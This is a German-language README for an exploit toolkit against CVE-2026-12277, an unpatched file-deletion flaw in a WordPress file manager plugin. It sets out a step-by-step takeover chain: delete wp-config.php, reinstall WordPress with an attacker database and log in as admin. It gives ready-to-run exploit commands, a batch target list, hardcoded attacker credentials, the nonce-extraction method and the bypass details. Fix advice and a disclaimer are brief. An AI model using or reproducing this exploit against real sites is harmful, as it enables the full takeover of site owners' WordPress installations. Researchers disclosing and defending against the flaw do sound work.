
Frontend File Manager Plugin (WordPress) <= 23.6 - Nicht authentifizierte beliebige Dateilöschung bis hin zu RCE
| Feld | Wert |
|---|
| CVE | CVE-2026-12277 |
| Plugin | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| Betroffen | <= 23.6 |
| Typ | Nicht authentifizierte Löschung beliebiger Dateien |
| CVSS | 8.7 (HIGH) |
| CWE | CWE-73 (Externe Kontrolle von Dateiname oder Pfad) |
| Voraussetzung | Gast-Upload-Modus aktiviert |
| Patch | Keiner (Stand Juli 2026) |
| Forscher | Chamseddine Bouzaiene |
Das Plugin speichert hochgeladene Dateipfade in den Beitrags-Metadaten (wpfm_dir_path). Der AJAX-Endpunkt wpfm_file_meta_update:
files.php)nopriv registriert (ohne Authentifizierung zugänglich)unset($_REQUEST['wpfm_dir_path']) kann über PHP-request_order-Eigenheiten umgangen werden (Senden über die Query-String)Wenn wpfm_delete_file aufgerufen wird, liest es wpfm_dir_path aus den Post-Metadaten und ruft unlink() ohne jegliche Pfadvalidierung auf.
| AJAX Action | Nonce erforderlich | Auth erforderlich | nopriv |
|---|---|---|---|
wpfm_file_meta_update | NEIN (auskommentiert) | Nein | Ja (immer) |
wpfm_delete_file | Ja | Nein | Ja (immer) |
wpfm_upload_file | Ja | Nein | Ja (wenn Gast-Upload aktiviert) |
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover
| Datei | Beschreibung |
|---|---|
exploit.py | Vollständiger Python-Exploit (Erkennung → Exploit → Übernahme) |
poc_curl.sh | Bash/curl-PoC (Linux) |
poc_curl.ps1 | PowerShell/curl-PoC (Windows) |
lists.txt | Ziel-URLs (eine pro Zeile, für den Batch-Modus) |
requirements.txt | Python-Abhängigkeiten |
# Install dependencies
pip install -r requirements.txt
# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Detection only
python exploit.py -u http://target.com --detect-only
# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Custom attacker DB config
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
Nach erfolgreichem Exploit melden Sie sich beim WordPress-Admin an:
URL: http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
| Argument | Erforderlich | Beschreibung |
|---|---|---|
-u, --url | Ja | Ziel-WordPress-URL |
-p, --path | Nein | Absoluter Pfad zu wp-config.php auf dem Server |
--nonce | Nein | AJAX-Nonce (Auto-Extraktion überspringen) |
--dbname | Nein | Name der Angreifer-Datenbank (Standard: wp_pwned) |
--dbuser | Nein | Datenbankbenutzer des Angreifers (Standard: root) |
--dbpass | Nein | Datenbankpasswort des Angreifers |
--dbhost | Nein | Datenbankhost des Angreifers (Standard: localhost) |
--proxy | Nein | HTTP-Proxy (z. B. http://127.0.0.1:8080) |
--timeout | Nein | Request-Timeout in Sekunden (Standard: 15) |
--detect-only | Nein | Nur Schwachstelle erkennen, nicht ausnutzen |
Der Exploit sucht automatisch nach wpfm_ajax_nonce in:
/file-manager/, /upload/, /files/, /file-upload/ usw./file-manager.php/wp-json/)Die Nonce erscheint als verstecktes Eingabefeld:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
Oder in lokalisiertem JavaScript:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
Der Code führt unset($_REQUEST['wpfm_dir_path']) aus, um eine direkte Überschreibung zu verhindern. Der Bypass:
Query-String-Injection: Senden Sie wpfm_dir_path über den URL-Query-Parameter, während andere Daten über den POST-Body übertragen werden. Das Zusammenführungsverhalten von PHP $_REQUEST erlaubt es, dass der Wert in Abhängigkeit von der request_order-Konfiguration bestehen bleibt.
Vorabsetzung während des Upload-Ablaufs: Die Metadaten wpfm_dir_path werden während der anfänglichen Datei-Upload-Hooks gesetzt. Wird dies in dieser Phase ausgenutzt, ist kein Bypass erforderlich.
| Komponente | Version |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| Plugin | Frontend File Manager 23.6 |
| Betriebssystem | Windows (XAMPP) / Linux |
| Ergebnis | Vollständige Übernahme bestätigt |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // from wpfm_dir_path meta - NO VALIDATION
if (file_exists($file_path)) {
unlink($file_path); // ARBITRARY FILE DELETION
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // NO canonicalization, NO realpath check
}
wpfm_file_meta_update aufhebenwpfm_dir_path mithilfe von realpath() und einer Präfix-Prüfung gegen das Upload-Verzeichnis validierenDieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Holen Sie vor Tests immer eine schriftliche Genehmigung ein.